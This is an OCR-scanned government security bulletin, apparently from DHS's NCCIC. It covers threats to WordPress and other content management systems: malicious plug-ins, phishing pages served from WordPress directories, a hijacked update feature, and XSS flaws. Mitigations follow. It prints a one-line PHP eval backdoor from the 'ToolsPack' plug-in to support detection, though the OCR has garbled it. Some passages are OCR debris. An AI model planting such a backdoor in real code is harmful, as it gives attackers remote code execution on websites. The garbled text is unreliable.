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Emerging Threats: Publishing Software

(V) Executive Overview

(V) There are two approaches to website content management: commercial publishing software
or customized application development. Each of these approaches presents a unique set of
security vulnerabilities; however, this bulletin will focus on the vulnerabilities and threats
associated with commercial publishing software. Publishing Software, or Content Management
Systems (CMSs), are third party software suites that allow site administrators to easily manage
the design, functionality, and operation of their websites with minimal technical expertise.

(V) Approximately 30% of websites use CMSs to
manage the look and behavior of their sites via
tools, plug-ins, and themes. WordPress is the
most popular CMS utilized globally with over 50%
of the CMS market share, while the closest
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competitor (Joomla!) holds less than 10%. B WordPress
WordPress’ popularity makes it an often targeted W Joomlal
platform and criminals have devised ways to take - :;“::m
advantage of its flexibility for malicious purposes. 43w omer

Criminals may leverage WordPress technology in
their campaigns to gain unauthorized access to a
website or to streamline the deployment of
malware. This may be accomplished through
plug-ins/themes, file structure, or insecure tools.

(V) WordPress is a free and open source project, meaning that the underlying framework of the
system is readily available to those seeking to exploit it. WordPress releases regular security
updates in order to mitigate known vulnerabilities; relying on users and experts to submit any
security-related discoveries. These updates go unheeded by as many as 94% of users, leaving
them vulnerable to attack.

(V) Technical Details

(V) Plug-ins/Themes: Through the installation of a malicious plug-in or theme, administrators
can inadvertently allow for backdoor access to their sites. If self-hosted, this could also mean
access to the website owner’s servers. Once the backdoor is in place, attackers may install
scripts or attacks that leave users vulnerable to further infection. A criminal can utilize these
insecure pages to host malicious code, providing a consistent and reliable vector for attacking
visitors. Many plug-ins and themes are hosted on WordPress’ own site, leading users to believe
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that they are secure. However, three popular plug-ins hosted on WordPress’ repository were
hacked in June 2011, allowing backdoor access to those installing them. In March 2012 a plug-
in called “ToolsPack” claimed to provide increased administration tools to users, but instead
installed malicious code that allowed backdoor access to the installer’s site via a PHP eval
command: $_REQUEST]e] ? eval( base64_decode( $_REQUEST[e] ) ) : exit;

(U) Although this particular line of code is specific to the “ToolsPack” plug-in, the same
methodologies are used in other backdoor exploits. The code is a shorthand if statement;
considering an encoded instruction sent to it. The statement first checks to see if a request
exists, and then decodes the instruction and performs the task if so. Otherwise, the statement
does nothing - meaning that the seemingly innocuous vulnerability may go unnoticed. These
types of commands are often terse and difficult to detect. They are usually buried in plug-ins or
themes so as to purposefully obscure them, as well as because they generally survive core
updates to WordPress. These plug-ins or themes may operate properly with the malicious
code, again making the vulnerability more difficult to detect.
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(V) In the March exploit,
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(V) File Structure: In March 2012 Websense Security Labs detected a large scale malware
campaign involving WordPress sites. Approximately 200,000 sites representing 30,000 unique
hosts were compromised. The majority of sites (85%) were hosted in the U.S. and more than
half were running the latest software version. Criminals may choose to compromise vulnerable
sites to serve malicious content or they may purchase domains from a hosting company for use
malware campaigns. Regardless of whether the site is compromised or purchased, the
consistency of the WordPress file structure makes it easy for criminals to design campaigns
which are easily transferred from one domain to another with minimal changes required.

(V) The malicious content is often served from at least two levels deep in the file structure
(example: /wp-content/templates), making it difficult to detect through surface analysis.
Embedded hyperlinks in spam and phishing campaigns point to the /wp-content/ directory which
typically contains plug-ins, themes, and site uploads. WordPress file structures have been
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detected in recent spam campaigns masquerading as legitimate companies (see image from
PhishTank below) with the end goal harvesting personal and financial information.

pn (V) Because this directory is often
PRISATANK® 0.t e et into e Tk = updated by users, it is easier for
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not have permissions set properly
WP file structure for their /wp-content/ directory,
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RCHASE ﬂ 'B content/uploads/. An attacker may
e CE + < redirect visitors from any webpage
on a compromised site to the malicious page, or write an iframe on each webpage using
JavaScript to allow the pernicious code to execute without the need to redirect. Alternatively,
they may use only the infected page as a host for their malware - leaving the remainder of the
site’s functionality intact.

(V) A website that is infected may remain so even after updating to the newest WordPress
version. Many plug-ins and themes are not affected by core updates, allowing them to survive.
In May 2012 a new attack surfaced using WordPress’ automatic update feature. By modifying
the update.php file located in /wp-admin/includes/, attackers hijacked the automatic update and
retained backdoor access to websites. This enabled attackers to re-infect sites after they were
updated, if they were previously infected and utilized the automatic update feature. Sites not
previously compromised were not affected.

(V) Insecure Tools: Plug-ins and tools may contain vulnerabilities which would allow attackers
to launch cross-site scripting (or similar) attacks against the website or web server. Cross-site
scripting (XSS) vulnerabilities have been found in plug-ins and themes available for both
Joomla! and WordPress. In June 2012 a plug-in for WordPress titled “Theme My Login” allowed
for an exploit when double encoding a slug parameter. In May 2012 a vulnerability was
discovered in Joomla’s Content Editor (JCE) component for Joomla!, leaving it susceptible to
XSS. In each case some of the data passed was being improperly sanitized or validated,
allowing individuals to remotely inject and execute code in the browser.

(V) Mitigations

(V) The mitigation strategy for cyber threats related to publishing software or CMSs should
include user awareness programs, deployment of indicators into security devices, robust
incident reporting and other program-wide initiatives. The following are examples of mitigation
actions related to this bulletin:
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e Create intrusion detection system (IDS) alerts for suspicious traffic involving the
WordPress file structure.

e Ensure that the permissions for any directory are as restrictive as possible to still allow
for proper usage.

e Carefully examine any plug-ins or themes currently installed or installed in the future to
ensure that no vulnerabilities exist. If you suspect that vulnerabilities exist, a complete
re-installation of confirmed malware-free plug-ins and other tools is required. Also
search for any uses of the PHP eval command in any plug-ins, themes, or tools - it is
rarely used except for malicious purposes.

e Ensure that all passwords are secure and changed frequently. If using WordPress, take
advantage of their “Secret Key” service to enhance the security of your website.

¢ Keep any plug-ins or themes updated; updating the “Theme My Login” plug-in for
WordPress to version 6.2 or later and updating the JCE component for Joomla! to
version 2.1.0 or later, as applicable.

o Keep all Publishing Software or any CMS updated to the most current version.

(V) Points of Contact

(V) This product was produced as a collaborative effort between NCCIC components and our
partners: United States Computer Emergency Readiness Team (US-CERT), Industrial Control
Systems Cyber Emergency Response (ICS-CERT), the National Communications System /
National Coordinating Center for Telecommunications (NCS/NCC), and the Office of Intelligence
and analysis (I&A).

(V) Please direct questions to the NCCIC Duty Officer (NDO) via email at NCCIC@hg.dhs.gov
or by phone at (703) 235-8831. The NCCIC will continue to coordinate with the appropriate
component organizations.
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